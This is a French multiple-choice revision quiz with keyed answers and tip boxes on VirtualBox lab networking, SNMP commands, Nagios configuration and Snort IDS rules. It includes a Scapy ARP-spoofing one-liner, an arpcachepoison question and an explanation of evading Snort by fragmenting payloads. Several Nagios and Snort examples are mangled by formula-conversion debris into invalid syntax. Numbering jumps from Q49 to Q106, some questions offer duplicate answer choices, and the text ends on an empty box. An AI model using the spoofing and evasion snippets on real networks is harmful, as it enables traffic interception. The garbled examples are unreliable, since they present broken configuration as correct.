QCM Expert Part 2

Snort IDS & Metasploitable

1 VIRTUALBOX - CONFIGURATION RÉSEAU (40 QCM)

1.1 Modes réseau VirtualBox

Q1. Quel mode réseau VirtualBox permet aux VM de communiquer entre elles ET avec l'hôte, mais PAS avec Internet sans configuration supplémentaire ?

a) NAT

b) Accès par pont (Bridged)

c) Réseau interne (Internal Network)

d) **Réseau privé hôte (Host-Only)**

SECRET

Host-Only crée un switch virtuel isolé. L'hôte a une interface virtuelle (vboxnet0 sous Linux, 192.168.56.1 par défaut). Les VM peuvent se parler et accéder à l'hôte, mais sont TOTALEMENT isolées d'Internet. C'est le mode PARFAIT pour les labs de sécurité car aucune attaque ne peut sortir.

ERREUR

ERREUR FATALE : Beaucoup utilisent NAT et pensent que les VM peuvent communiquer entre elles. FAUX ! Avec NAT, chaque VM est derrière son propre routeur virtuel. Deux VM en NAT ne se voient jamais !

Q2. Dans le TP SNMP, pourquoi utilise-t-on "Accès par pont" au lieu de Host-Only ?

a) Pour plus de sécurité

b) **Pour que les VM obtiennent une IP du réseau physique réel**

c) Pour isoler les VM

d) Pour accélérer les communications

ASTUCE

Mode Pont = La VM devient un membre du réseau physique comme n'importe quel ordinateur. Elle obtient une IP de votre routeur/DHCP réel (ex : 10.0.2.x ou 192.168.1.x selon votre réseau). Parfait pour simuler un réseau d'entreprise réel où les machines sont sur le même LAN.

Q3. Quelle commande vérifie le nom de l'interface réseau sur une VM Ubuntu ?

a) netstat -i

b) **ip a**

c) ifconfig (deprecated mais fonctionne)

d) hostname -I

SECRET

Les noms d'interface modernes suivent la nomenclature "Predictable Network Interface Names" : - enp1s0 = Ethernet (en), bus PCI 1 (p1), slot 0 (s0) - ens33 = Ethernet, slot 33 - eth0 = Ancienne nomenclature (encore sur certains systèmes) - virbr0 = Virtual Bridge (KVM/libvirt)

Q4. Pour qu'une VM Kali communique avec une VM Metasploitable en Host-Only, quelle configuration IP est correcte ?

a) Kali : 192.168.56.10/24, Meta : 192.168.57.10/24

b) Kali : DHCP, Meta : DHCP

c) **Kali : 192.168.56.10/24, Meta : 192.168.56.11/24**

d) Kali : 10.0.2.15/24, Meta : 10.0.2.16/24

ERREUR

Les deux VM DOIVENT être sur le même sous-réseau (/24) ! Si Kali est en 192.168.56.x et Meta en 192.168.57.x, elles ne communiqueront JAMAIS car ce sont deux réseaux différents. Vérifiez toujours avec "ip a" que le masque est identique.

Q5. Quelle commande configure manuellement une IP sur interface enp1s0 ?

a) ifconfig enp1s0 192.168.122.59/24

b) **sudo ip addr add 192.168.122.59/24 dev enp1s0**

c) ip link set enp1s0 192.168.122.59

d) netplan apply 192.168.122.59

ASTUCE

La commande complète pour configurer une IP temporaire : 1. sudo ip addr add 192.168.122.59/24 dev enp1s0 2. sudo ip link set enp1s0 up 3. sudo ip route add default via 192.168.122.1
ATTENTION : Cette config est VOLATILE (perdue au reboot). Pour persistance, éditer /etc/netplan/*.yaml

Q6. Pourquoi le mode NAT Network (pas NAT simple) est différent ?

a) Il est plus rapide

b) **Les VM peuvent communiquer entre elles via un réseau NAT partagé**

c) Il donne accès au réseau physique

d) Il isole totalement les VM

Q7. Quelle plage IP VirtualBox utilise par défaut pour le mode NAT ?

a) 192.168.56.0/24

b) 192.168.1.0/24

c) **10.0.2.0/24**

d) 172.16.0.0/24

SECRET

10.0.2.0/24 est le réseau NAT par défaut de VirtualBox. L'hôte est toujours 10.0.2.2, le DNS 10.0.2.3, et votre VM obtient généralement 10.0.2.15. C'est codé en dur dans VirtualBox et identique sur toutes les installations.

Q8. Comment activer le mode promiscuité sur une carte réseau VM (nécessaire pour sniffing) ?

a) C'est automatique

b) Via la commande "ifconfig promisc"

c) **Dans Paramètres VM → Réseau → Avancé → Mode promiscuité : Tout autoriser**

d) Impossible avec VirtualBox

ERREUR

Sans mode promiscuité, Wireshark et tcpdump ne verront que le trafic destiné à votre VM. Pour voir TOUT le trafic du réseau (nécessaire pour Snort IDS), vous DEVEZ activer "Allow All" dans les paramètres avancés de la carte réseau.

Q9. Quelle commande teste la connectivité entre deux VM ?

a) **ping <IP_cible>**

b) traceroute <IP_cible>

c) nslookup <IP_cible>

d) telnet <IP_cible>

Q10. Pour capturer TOUT le trafic entre deux VM avec tcpdump, quelle option est nécessaire ?

a) tcpdump -i any

b) **tcpdump -i enp1s0 -n**

c) tcpdump host 192.168.122.59

d) tcpdump -A

ASTUCE

Options essentielles tcpdump : -i enp1s0 : Interface à écouter -n : Pas de résolution DNS (plus rapide) -nn : Pas de résolution DNS ni des ports -X : Affichage hexa+ASCII -w fichier.pcap : Sauvegarde pour Wireshark -c 100 : Capturer seulement 100 paquets

2 SNMP - SIMPLE NETWORK MANAGEMENT PROTOCOL (45 QCM)

2.1 Concepts fondamentaux SNMP

Q11. Quel mécanisme chiffre les messages SNMPv3 ?

a) DES

b) **AES (ou DES pour rétrocompatibilité)**

c) RC4

d) 3DES obligatoire

SECRET

SNMPv3 supporte plusieurs algos de chiffrement : - DES : Obsolète, 56 bits, cassable - 3DES : Plus sûr mais lent - AES-128 : Standard actuel (recommandé) - AES-192/256 : Pour haute sécurité
Configuration : createUser user1 SHA AES motdepasse SHA = authentification, AES = chiffrement

Q12. Quelle est la différence entre rocommunity et rwcommunity ?

a) rocommunity = chiffré, rwcommunity = clair

b) **rocommunity = lecture seule, rwcommunity = lecture/écriture**

c) Aucune différence

d) rocommunity = SNMPv2, rwcommunity = SNMPv3

ERREUR

ERREUR FATALE : Beaucoup mettent rwcommunity "public" en production. C'est donner les clés du royaume ! Un attaquant peut alors MODIFIER la configuration de vos équipements : changer des IPs, désactiver des interfaces, créer des routes...
TOUJOURS utiliser des community strings complexes et JAMAIS "public", "private", ou le nom de l'entreprise.

Q13. Sur quel port UDP SNMP écoute-t-il par défaut ?

a) 161 (requêtes)

b) 162 (traps)

c) **Les deux : 161 pour requêtes, 162 pour traps**

d) 163

ASTUCE

Port 161 : Manager → Agent (GET, SET, GETNEXT) Port 162 : Agent → Manager (TRAP, INFORM)
Les traps sont des notifications asynchrones envoyées par l'agent quand un événement se produit (lien down, seuil dépassé, etc.). Le manager doit écouter sur 162.

Q14. Que signifie "agentAddress udp :161" dans snmpd.conf ?

a) L'agent envoie vers le port 161

b) **L'agent écoute sur toutes les interfaces, port UDP 161**

c) L'agent écoute uniquement sur localhost :161

d) L'agent refuse les connexions UDP

SECRET

Syntaxes possibles : - agentAddress udp :161 → Écoute sur TOUTES les interfaces (0.0.0.0 :161) - agentAddress udp :127.0.0.1 :161 → Localhost uniquement - agentAddress udp :192.168.1.10 :161 → Interface spécifique - agentAddress udp6 :[: :1] :161 → IPv6
Pour sécuriser, limitez à l'interface de management : udp :10.0.2.15 :161

Q15. Quelle commande interroge l'OID "sysName.0" avec community "4GIRO" ?

a) snmpget -v2c -c public 10.0.2.15 sysName

b) **snmpget -v2c -c 4GIRO 10.0.2.15 sysName.0**

c) snmpwalk -c 4GIRO 10.0.2.15 sysName.0

d) snmpget 10.0.2.15 -c 4GIRO sysName

ERREUR

L'erreur classique est d'oublier le ".0" après l'OID. En SNMP : - sysName = L'OID de base (1.3.6.1.2.1.1.5) - sysName.0 = L'INSTANCE (la valeur réelle)
Sans .0, vous aurez "No Such Instance" car SNMP cherche l'OID exact avec son instance.

Q16. Que fait la commande "snmpwalk" comparée à "snmpget" ?

a) C'est identique

b) snmpwalk est plus rapide

c) **snmpwalk parcourt TOUTE l'arborescence sous l'OID, snmpget récupère UNE seule valeur**

d) snmpwalk nécessite SNMPv3

ASTUCE

- snmpget : Récupère UNE valeur précise (ex : sysName.0) - snmpgetnext : Récupère l'OID suivant - snmpwalk : Utilise GETNEXT en boucle pour tout parcourir - snmpbulkget : Récupère plusieurs OIDs en une requête (SNMPv2+)
Pour diagnostiquer un problème, commencez toujours par snmpwalk complet, puis affinez avec snmpget.

Q17. Quel OID correspond à l'utilisation CPU ?

a) 1.3.6.1.2.1.1.3.0

b) **1.3.6.1.4.1.2021.11.9.0 (ssCpuIdle)**

c) 1.3.6.1.2.1.25.3.3.1.2

d) 1.3.6.1.2.1.2.2.1.10

SECRET

OIDs essentiels à connaître PAR CŒUR : - 1.3.6.1.2.1.1.5.0 = sysName (nom de la machine) - 1.3.6.1.2.1.1.3.0 = sysUpTime (uptime) - 1.3.6.1.2.1.25.2.3.1.6 = hrStorageUsed (usage disque) - 1.3.6.1.4.1.2021.4.5.0 = memTotalReal (RAM totale) - 1.3.6.1.4.1.2021.4.6.0 = memAvailReal (RAM disponible) - 1.3.6.1.4.1.2021.11.9.0 = ssCpuIdle (CPU idle
Les OIDs 1.3.6.1.4.1.2021.* sont de Net-SNMP (UCD-SNMP-MIB), spécifiques Linux.

Q18. Comment modifier le nom d'hôte via SNMP (avec rwcommunity) ?

a) snmpget -c 4GIRW 10.0.2.15 sysName.0 "nouveau_nom"

b) **snmpset -v2c -c 4GIRW 10.0.2.15 sysName.0 s "nouveau_nom"**

c) snmpwalk -c 4GIRW 10.0.2.15 sysName.0="nouveau_nom"

d) Impossible via SNMP

ASTUCE

Types de données dans snmpset : - i : INTEGER - u : UNSIGNED INTEGER - t : TIMETICKS - a : IPADDRESS - o : OBJID - s : STRING (le plus courant) - x : HEX STRING - d : DECIMAL STRING - b : BITS
Exemple : snmpset -v2c -c 4GIRW 10.0.2.15 sysLocation.0 s "Salle Serveur B2"

Q19. Pourquoi commenter "mibs :" dans /etc/snmp/snmp.conf ?

a) Pour désactiver SNMP

b) **Pour charger TOUTES les MIBs et avoir les noms symboliques**

c) Pour plus de sécurité

d) Pour accélérer les requêtes

ERREUR

Par défaut, la ligne "mibs :" (avec deux-points) désactive le chargement des MIBs. Vous ne verrez que des OIDs numériques bruts : 1.3.6.1.2.1.1.5.0 = "serveur1"
Après avoir commenté (mibs :), vous aurez : SNMPv2-MIB : :sysName.0 = STRING : "serveur1"
Bien plus lisible ! Mais attention : le chargement des MIBs prend quelques secondes au démarrage.

Q20. Que contient le fichier /var/net-snmp/snmpd.conf ?

a) La configuration principale

b) **Les données dynamiques (compteurs persistants)**

c) Les MIBs

d) Les logs

3 NAGIOS CORE - MONITORING (50 QCM)

3.1 Installation et Architecture

Q21. Pourquoi installer apache2 avec Nagios Core ?

a) Pour les logs

b) **Nagios utilise une interface web CGI hébergée par Apache**

c) Pour la base de données

d) Ce n'est pas nécessaire

ASTUCE

Architecture Nagios : 1. nagios (démon) : Moteur de supervision, exécute les checks 2. Apache httpd : Serveur web pour l'interface 3. CGI scripts : Scripts C compilés qui génèrent les pages web 4. Plugins : Programmes externes qui font les vérifications réelles 5. NRPE (optionnel) : Agent pour checks distants
Le flux : Utilisateur → Apache → CGI → Lit les fichiers status de Nagios → Génère HTML

Q22. Où se trouvent les binaires compilés de Nagios après installation ?

a) /usr/bin/

b) /opt/nagios/

c) **/usr/local/nagios/bin/**

d) /etc/nagios/

SECRET

Structure des répertoires Nagios (installation depuis source) : /usr/local/nagios/ bin/ → Binaires (nagios, nagiostats) etc/ → Configuration (nagios.cfg, objects/) libexec/ → Plugins (check_ping, check_http...) sbin/ → CGI scripts (status.cgi, cmd.cgi...) share/ → Interface web (HTML, CSS, JS) var/ → Fichiers runtime (nagios.log, status.dat, objects.cache)
À connaître PAR CŒUR pour tout diagnostiquer rapidement.

Q23. Quelle commande vérifie la syntaxe de nagios.cfg SANS démarrer Nagios ?

a) nagios -c /usr/local/nagios/etc/nagios.cfg

b) **nagios -v /usr/local/nagios/etc/nagios.cfg**

c) nagios –test

d) nagioscheck

ERREUR

TOUJOURS vérifier la config avec -v avant de redémarrer Nagios en production ! Si la config est invalide, Nagios refusera de démarrer et vous perdrez toute supervision.
La sortie doit contenir : "Things look okay - No serious problems were detected"

Q24. Quel utilisateur Apache doit être ajouté au groupe nagios ?

a) root

b) nagios

c) **www-data (Ubuntu/Debian) ou apache (RedHat)**

d) http

ASTUCE

Vérification des permissions : ls -la /usr/local/nagios/var/rw/nagios.cmd srw-rw—- 1 nagios nagios 0 Jan 10 10 :00 nagios.cmd
Le socket nagios.cmd DOIT être accessible par www-data pour que l'interface web puisse envoyer des commandes. Sans ça, vous aurez "Error : Could not open command file" dans l'interface.
Commande : sudo usermod -a -G nagios www-data

Q25. Que fait "make install-commandmode" lors de l'installation ?

a) Installe les commandes de check

b) **Configure le fichier socket nagios.cmd avec les bonnes permissions**

c) Installe les scripts CGI

d) Configure Apache

Q26. Pourquoi créer un utilisateur nagiosadmin avec htpasswd ?

a) Pour le démon Nagios

b) Pour la base de données

c) **Pour l'authentification sur l'interface web Apache**

d) Pour les notifications

SECRET

La commande complète : sudo htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin
-c = CREATE (écrase le fichier existant) Pour AJOUTER d'autres utilisateurs, enlevez -c : sudo htpasswd /usr/local/nagios/etc/htpasswd.users user2
Sinon vous effacez nagiosadmin ! C'est l'erreur n°1 des débutants.
Pour donner des droits différents aux utilisateurs, éditez cgi.cfg : authorized$_{f}or_{a}ll_{s}ervices = nagiosadmin, user2authorized_{f}or_{r}ead_{o}nly = user3$

Q27. Quel fichier définit les contacts et leurs notifications ?

a) nagios.cfg

b) commands.cfg

c) **contacts.cfg**

d) notifications.cfg

Q28. Dans une définition de service, que signifie "max_check_attempts 3" ?

a) Vérifier 3 fois par minute

b) **Passer en état HARD (alerte réelle) après 3 échecs consécutifs**

c) Vérifier 3 services maximum

d) Timeout de 3 secondes

ASTUCE

États Nagios : - SOFT : État transitoire, en cours de vérification - HARD : État confirmé après $\max_{c}heck_{a}ttempts$
Exemple avec $\max_{c}heck_{a}ttempts3$: $Check1$: $FAILßOK(SOFT1/3) - Pasd'alerteCheck2$: $FAILßCRITICAL(SOFT2/3) - Pasd'alerteCheck3$: $FAILßCRITICAL(SOFT3/3) - Pasd'alerteCheck4$: $FAILßCRITICAL(HARD3/3) - ALERTEENVOYE$
Ça évite les faux positifs dus à des pertes de paquets temporaires.

Q29. Quelle directive dans nagios.cfg active la sauvegarde de l'état ?

a) save_state=1

b) **retain_state_information=1**

c) state_retention=1

d) enable_state=1

Q30. Que contient le fichier status.dat ?

a) La configuration

b) Les logs

c) **L'état actuel de tous les hôtes et services**

d) Les performances

SECRET

status.dat est le fichier LU par les CGI pour afficher l'interface web. Il est réécrit toutes les X secondes ($status_{u}pdate_{i}ntervaldansnagios.cfg$).
Structure : - hoststatus ... : État de chaque hôte - servicestatus ... : État de chaque service - programstatus ... : État du démon Nagios
Si l'interface web est lente, vérifiez la taille de status.dat (peut atteindre plusieurs MB sur des grosses installations). Optimisation : Augmenter $status_{u}pdate_{i}nterval30secondesaulieude10$.

3.2 Configuration des Objets

Q31. Quelle directive est obligatoire dans une définition d'hôte ?

a) address

b) host_name

c) **Les deux : host_name ET (address OU use)**

d) check_command

Q32. Que fait "use linux-server" dans une définition d'hôte ?

a) Définit l'OS

b) **Hérite des propriétés du template "linux-server"**

c) Active les checks Linux

d) Rien, c'est un commentaire

ASTUCE

Héritage Nagios (concept PUISSANT) : 1. Définir un template dans templates.cfg : define host name linux-server check$_{c}ommandcheck - host - alivemax_{c}heck_{a}ttempts3notification_{i}nterval120register0; C'estjusteuntemplate$
2. L'utiliser dans localhost.cfg : define host use linux-server ; Hérite de tout host$_{n}amewebserver01address192.168.1.100; Surchargepossible$: $max_{c}heck_{a}ttempts5; Overridele3dutemplate$
Avantage : Changez le template, tous les hôtes qui l'utilisent sont modifiés.

Q33. Dans un service, que signifie "$ARG1$" ?

a) Première variable d'environnement

b) **Premier argument passé au plugin après " !" dans check_command**

c) Premier macro Nagios

d) Argument du script shell

ERREUR

Syntaxe des arguments : define service check$_{c}ommandcheck_{h}ttp!80!/index.html\$ARG1\$ = 80, \$ARG2\$ = /index.html$
Erreur fatale : Oublier d'échapper les macros avec $ dans commands.cfg

Q34. Quel plugin Nagios vérifie l'espace disque ?

a) check_disk_usage

b) **check_disk**

c) check_storage

d) check_filesystem

Q35. Syntaxe correcte pour vérifier 80% warning, 90% critical sur / ?

a) check_disk -w 80 -c 90 -p /

b) **check_disk -w 80% -c 90% -p /**

c) check_disk -p / -threshold 80,90

d) check_disk / 80 90

Q36. Que signifie "notification_interval 60" ?

a) Vérifier toutes les 60 minutes

b) **Renvoyer une notification toutes les 60 minutes si problème persiste**

c) Timeout de 60 minutes

d) Résoudre après 60 minutes

Q37. Où sont les plugins Nagios après installation depuis source ?

a) /usr/bin/

b) /opt/nagios/plugins/

c) **/usr/local/nagios/libexec/**

d) /etc/nagios/plugins/

Q38. Commande pour tester un plugin manuellement ?

a) nagios -test check_ping

b) **/usr/local/nagios/libexec/check_ping -H 8.8.8.8 -w 100,20% -c 500,60%**

c) check_ping test

d) nagios check_ping

Q39. Quelle directive active les notifications par email ?

a) enable_notifications=1

b) email_enabled=1

c) **enable_notifications=1 dans nagios.cfg**

d) smtp_enable=1

Q40. Fichier contenant la commande d'envoi email ?

a) notifications.cfg

b) email.cfg

c) **commands.cfg (notify-host-by-email)**

d) contacts.cfg

4 QUESTIONS AVANCÉES NAGIOS (Q41-Q49)

Q41. Comment ajouter un service à plusieurs hôtes simultanément ?

a) Dupliquer la définition

b) **Utiliser hostgroup_name au lieu de host_name**

c) Impossible

d) Utiliser un script

Q42. Que fait "check_command check-host-alive" ?

a) Vérifie si l'hôte répond au SSH

b) **Envoie un ping ICMP à l'hôte**

c) Vérifie tous les services

d) Redémarre l'hôte

Q43. Différence entre active check et passive check ?

a) Active = manuel, Passive = automatique

b) **Active = Nagios initie, Passive = résultat envoyé à Nagios**

c) Aucune différence

d) Active = local, Passive = distant

Q44. NRPE permet de :

a) Monitorer des serveurs Windows

b) **Exécuter des plugins sur des machines distantes Linux**

c) Envoyer des emails

d) Créer des graphiques

Q45. Port par défaut de NRPE ?

a) 5666

b) **5666**

c) 5432

d) 3306

Q46. Comment forcer un check immédiat depuis l'interface web ?

a) Redémarrer Nagios

b) **Cliquer sur le service → Schedule immediate check**

c) Attendre le prochain intervalle

d) Modifier nagios.cfg

Q47. Que fait "flap detection" ?

a) Détecte les pannes réseau

b) **Détecte les services qui changent d'état trop fréquemment**

c) Détecte les attaques

d) Désactive les alertes

Q48. Commande pour voir les stats Nagios en temps réel ?

a) nagios -stats

b) **nagiostats -c /usr/local/nagios/etc/nagios.cfg**

c) nagios -info

d) systemctl status nagios

Q49. Fichier log principal de Nagios ?

a) /var/log/nagios.log

b) **/usr/local/nagios/var/nagios.log**

c) /etc/nagios/nagios.log

d) /tmp/nagios.log

5 QUESTIONS SNMP AVANCÉES (Q106-Q130)

Q106. Quelle version SNMP introduit l'authentification et le chiffrement ?

a) SNMPv1

b) SNMPv2c

c) **SNMPv3**

d) SNMP v2u

Q107. OID pour la description système (sysDescr) ?

a) **1.3.6.1.2.1.1.1.0**

b) 1.3.6.1.2.1.1.5.0

c) 1.3.6.1.2.1.1.3.0

d) 1.3.6.1.2.1.1.6.0

Q108. Commande pour surveiller la bande passante sur interface eth0 ?

a) snmpget ifSpeed.0

b) **snmpwalk -v2c -c public IP ifHCInOctets**

c) snmpget bandwidth.0

d) snmpwalk network.0

Q109. Que fait "snmpbulkwalk" comparé à snmpwalk ?

a) Identique

b) **Plus rapide, récupère plusieurs OIDs par requête**

c) Plus sécurisé

d) Fonctionne avec SNMPv1

Q110. OID pour la localisation système (sysLocation) ?

a) 1.3.6.1.2.1.1.5.0

b) **1.3.6.1.2.1.1.6.0**

c) 1.3.6.1.2.1.1.7.0

d) 1.3.6.1.2.1.1.1.0

Q111. Modifier sysContact via SNMP (community "private") ?

a) snmpget -c private IP sysContact.0 "admin@example.com"

b) **snmpset -v2c -c private IP sysContact.0 s "admin@example.com"**

c) snmpwalk -c private IP sysContact="admin@example.com"

d) snmpmod sysContact "admin@example.com"

Q112. Où sont stockées les MIBs sur Linux ?

a) /etc/snmp/mibs/

b) **/usr/share/snmp/mibs/**

c) /var/lib/snmp/mibs/

d) /opt/snmp/mibs/

Q113. Commande pour télécharger les MIBs manquantes ?

a) apt-get install snmp-mibs

b) **apt-get install snmp-mibs-downloader**

c) snmp-get-mibs

d) mibs-download

Q114. Que signifie "No Such Instance" en SNMP ?

a) Agent arrêté

b) **OID existe mais instance (.0) manquante**

c) Community string invalide

d) Timeout

Q115. Différence entre snmptrap et snmpinform ?

a) Aucune

b) snmptrap est plus rapide

c) **snmpinform attend un ACK, snmptrap non**

d) snmptrap utilise TCP

Q116. OID pour nombre de processus en cours ?

a) 1.3.6.1.2.1.25.1.6.0

b) **1.3.6.1.2.1.25.1.6.0 (hrSystemProcesses)**

c) 1.3.6.1.4.1.2021.2.1.5

d) 1.3.6.1.2.1.1.7.0

Q117. Configurer SNMPv3 avec authentification SHA et chiffrement AES ?

a) createUser user1 AES SHA password

b) **createUser user1 SHA authpass AES privpass**

c) createUser user1 MD5 SHA AES password

d) snmpv3 -user user1 -auth SHA -priv AES

Q118. Interroger agent SNMPv3 ?

a) snmpget -v3 -c public IP sysName.0

b) **snmpget -v3 -l authPriv -u user1 -a SHA -A authpass -x AES -X privpass IP sysName.0**

c) snmpget -v3 -user user1 -password authpass IP sysName.0

d) snmpv3get user1 IP sysName.0

6 SNORT IDS - DÉTECTION D'INTRUSIONS (50 QCM)

6.1 Architecture et Préprocesseurs

Q50. Quel préprocesseur Snort détecte l'ARP Spoofing ?

a) arpwatch

b) **preprocessor arpspoof**

c) stream5

d) frag3

SECRET

Configuration complète arpspoof : preprocessor arpspoof preprocessor arpspoof_detect_host : 192.168.1.254 00 :11 :22 :33 :44 :55
La syntaxe dit : "L'IP 192.168.1.254 DOIT avoir la MAC 00 :11 :22 :33 :44 :55" Si un paquet ARP prétend que cette IP a une autre MAC → ALERTE
Limite : Vous devez connaître toutes les associations IP/MAC légitimes. Sur un grand réseau, c'est ingérable. Solution pro : DAI (Dynamic ARP Inspection) sur les switches Cisco.

Q51. Pourquoi l'ARP Spoofing fonctionne-t-il si facilement ?

a) Bug dans le protocole
b) Les switches sont vulnérables
c) **ARP accepte les réponses non sollicitées (Gratuitous ARP)**
d) Manque de chiffrement

ASTUCE

Le protocole ARP par design : 1. Une machine peut envoyer un ARP Reply SANS avoir reçu de Request 2. Les machines mettent à jour leur cache ARP automatiquement 3. Aucune authentification de la source 4. Le dernier paquet reçu gagne toujours
C'est pourquoi l'attaque est si simple : send(ARP(op=2, psrc="192.168.1.254", hwsrc="attacker_mac", pdst="victim"))
La victime met à jour son cache immédiatement. C'est voulu par la RFC pour permettre les changements de carte réseau rapides, mais c'est exploitable.

Q52. Dans Scapy, que fait arpcachepoison("192.168.1.10", "192.168.1.254") ?

a) Empoisonne le cache de .254
b) **Fait croire à .10 que .254 a NOTRE adresse MAC**
c) Envoie un ping
d) Scan le réseau

Q53. Quel préprocesseur détecte les scans de ports ?

a) portscan
b) **sfPortscan**
c) stream5
d) flow

SECRET

Configuration sfPortscan avancée : preprocessor sfportscan :
proto { all }
scan_type { all }
sense_level { low }
memcap { 10000000 }
logfile { /var/log/snort/portscan.log }
sense_level : - low : Détecte 15+ ports en 60s (scans évidents type nmap -p-) - medium : 10+ ports en 60s - high : 5+ ports en 60s (génère des faux positifs)
Types de scans détectés : - portscan : Scan d'une IP - portsweep : Scan du même port sur plusieurs IPs - decoy_portscan : Scan avec IPs sources falsifiées - distributed_portscan : Scan coordonné depuis plusieurs sources

Q54. Pourquoi un SYN scan (-sS dans nmap) est-il furtif ?

a) Il est chiffré
b) Il utilise des fragments
c) **Il ne complète jamais le handshake TCP (pas de ACK final)**
d) Il change d'IP source

ASTUCE

Comparaison des scans :
SYN Scan (Half-Open) : Attaquant → SYN → Cible Cible → SYN-ACK → Attaquant (port ouvert) Attaquant → RST → Cible (connexion abandonnée) Furtif, pas de connexion complète N'apparaît pas dans les logs applicatifs Très rapide
Connect Scan : Attaquant complète le handshake (SYN, SYN-ACK, ACK) Loggé par le daemon (sshd, httpd...) Plus lent Fonctionne sans privilèges root
Pour détecter un SYN scan : sfPortscan + règle détectant beaucoup de SYN sans ACK

Q55. Que fait le préprocesseur frag3 ?

a) Fragmente les paquets
b) **Réassemble les fragments IP avant inspection**
c) Défragmente le disque
d) Détecte la fragmentation

ERREUR

Sans frag3, un attaquant peut contourner Snort facilement : 1. Il fragmente un payload malveillant : "MALWARE" → "MAL" + "WARE" 2. Snort sans frag3 analyse fragment par fragment 3. Règle "content :MALWARE" ne matche pas car chaque fragment ne contient qu'une partie 4. L'attaque passe inaperçue
frag3 réassemble TOUT avant de passer aux règles. C'est OBLIGATOIRE en production.
Configuration minimale : preprocessor frag3_global : max_frags 65536 preprocessor frag3_engine : policy linux detect_anomalies

6.2 Règles Snort

Q56. Dans une règle Snort, quelle est la différence entre "any" et "$HOME_NET" ?

a) Aucune
b) $HOME_NET est plus rapide
c) **any = toute IP, $HOME_NET = réseau défini dans snort.conf**
d) $HOME_NET inclut localhost

Q57. Que signifie "->" dans une règle ?

a) Commentaire
b) **Direction unidirectionnelle (de source vers destination)**
c) Bidirectionnel
d) Négation

SECRET

Directions Snort : - -> : Unidirectionnel (source → destination) Exemple : alert tcp $HOME_NETany->any80dtectetraficsortantversport80$
- <> : Bidirectionnel (dans les deux sens) Exemple : alert tcp any 80 <> $HOME_NETanydtectetraficentrantETsortant$
Astuce pro : Utilisez -> quand vous connaissez la direction (évite les faux positifs). Utilisez <> seulement si nécessaire (ex : conversations SSH).

Q58. Que détecte : alert tcp any any -> any any (flags :S ; msg :"SYN scan" ; sid :1000001 ;) ?

a) Tous les paquets TCP
b) **Paquets TCP avec flag SYN uniquement (sans ACK)**
c) Paquets SYN-ACK
d) Connexions établies

ASTUCE

Flags TCP dans Snort : S = SYN A = ACK F = FIN R = RST P = PUSH U = URG
Syntaxe : - flags :S ; → SEULEMENT SYN (SYN=1, ACK=0) ← Scan SYN - flags :SA ; → SYN+ACK (réponse port ouvert) - flags :S+A ; → SYN et ACK tous deux à 1 - flags :!A ; → Pas de ACK - flags :*S ; → Au moins SYN (peut avoir d'autres flags)
Règle anti-SYN scan améliorée : alert tcp any any -> $HOME_NETany(flags : S, 12; threshold : typethreshold, trackby_src, count10, seconds5; msg : "SYNScandetected"; sid : 1000001;)$
threshold = Alerte seulement après 10 SYN en 5 secondes depuis la même IP.

Q59. Quelle option Snort cherche un motif dans le payload ?

a) pattern :
b) **content :**
c) search :
d) payload :

Q60. Comment détecter le code "530" du FTP (login failed) ?

a) content :"530" ;
b) **content :" 530 " ; (avec espaces)**
c) payload :"530" ;
d) msg :"530" ;

ERREUR

Erreur classique : content :"530" seul matche aussi "5300", "1530", "530abc"...
TOUJOURS ajouter les délimiteurs : content :" 530 " ; ou content :"|20|530|20|" ; (en hexa)
Encore mieux pour FTP : alert tcp any 21 -> any any (flow :from_server ; content :" 530 " ; threshold :type threshold, track by_dst, count 3, seconds 60 ; msg :"FTP Brute Force" ; sid :1000010 ;)
flow :from_server = Trafic venant du serveur (réponses) track by_dst = Compteur par IP destination (victime) count 3, seconds 60 = 3 échecs en 1 minute

Q61. Que fait "threshold : type threshold, track by_src, count 5, seconds 60" ?

a) Alerte toutes les 5 secondes
b) **Alerte UNE FOIS après 5 événements en 60s depuis la même IP source**
c) Alerte 5 fois maximum
d) Timeout de 60 secondes

SECRET

Types de threshold : 1. threshold : Alerte une seule fois après X occurrences 2. limit : Alerte au maximum X fois par période 3. both : Combinaison de threshold et limit
Tracking : - by_src : Par IP source (attaquant) - by_dst : Par IP destination (victime)
Exemple concret - Détection bruteforce SSH : alert tcp any any -> any 22 (msg :"SSH Brute Force" ; content :"Failed password" ; threshold :type threshold, track by_dst, count 5, seconds 300 ; sid :1000020 ;)
= Alerte si la même IP victime reçoit 5 "Failed password" en 5 minutes.
Sans threshold, vous aurez des MILLIERS d'alertes pour une seule attaque (une par tentative). Avec threshold, une seule alerte résumant l'attaque.

Q62. Quelle option Snort vérifie la direction du flux TCP ?

a) direction :
b) **flow :**
c) stream :
d) session :

ASTUCE

Options flow essentielles : flow :to_server,established → Trafic vers le serveur (client→serveur) → Sur connexion établie (pas SYN)
flow :from_server,established → Réponses du serveur (serveur→client)
flow :to_client → Vers le client
flow :stateless → Ignore l'état TCP (pour ICMP, UDP...)
Pourquoi c'est crucial : Sans flow, une règle détectant "GET /admin" matchera : 1. Requête légitime client→serveur (à détecter) 2. Réponse serveur→client contenant "GET /admin" dans le HTML (faux positif)
Avec flow :to_server, on ne matche QUE les vraies requêtes.

6.3 Fragmentation IP

Q63. Pourquoi la fragmentation IP existe-t-elle ?

a) Pour la sécurité
b) Pour accélérer le réseau
c) **Pour transporter des paquets plus grands que le MTU**
d) Pour le chiffrement

Q64. Quel champ IP indique qu'un paquet est fragmenté ?

a) TTL
b) Protocol
c) **Flags (More Fragments) et Fragment Offset**
d) Checksum

SECRET

Champs de fragmentation IP : - Identification (16 bits) : Identifiant unique de tous les fragments d'un même paquet - Flags (3 bits) : * Bit 0 : Reserved (toujours 0) * Bit 1 : DF (Don't Fragment) - Si=1, interdit la fragmentation * Bit 2 : MF (More Fragments) - Si=1, d'autres fragments suivent - Fragment Offset (13 bits) : Position du fragment en unités de 8 octets
Exemple avec un payload de 2400 octets, MTU 1500 : Fragment 1 : Offset=0, MF=1, Data=1480 octets Fragment 2 : Offset=185, MF=0, Data=920 octets (185 = 1480/8 car l'offset est en unités de 8 octets)
Dans Scapy : IP(id=1234, flags="MF", frag=0) / "DATA..." IP(id=1234, flags=0, frag=185) / "...DATA"

Q65. Que fait fragment(packet, fragsize=8) dans Scapy ?

a) Crée 8 fragments
b) Fragmente en paquets de 8 bits
c) **Fragmente en morceaux de 8 octets de payload**
d) Rien, erreur de syntaxe

Q66. Quelle politique de réassemblage frag3 émule Linux ?

a) policy first
b) policy last
c) **policy linux**
d) policy bsd

ERREUR

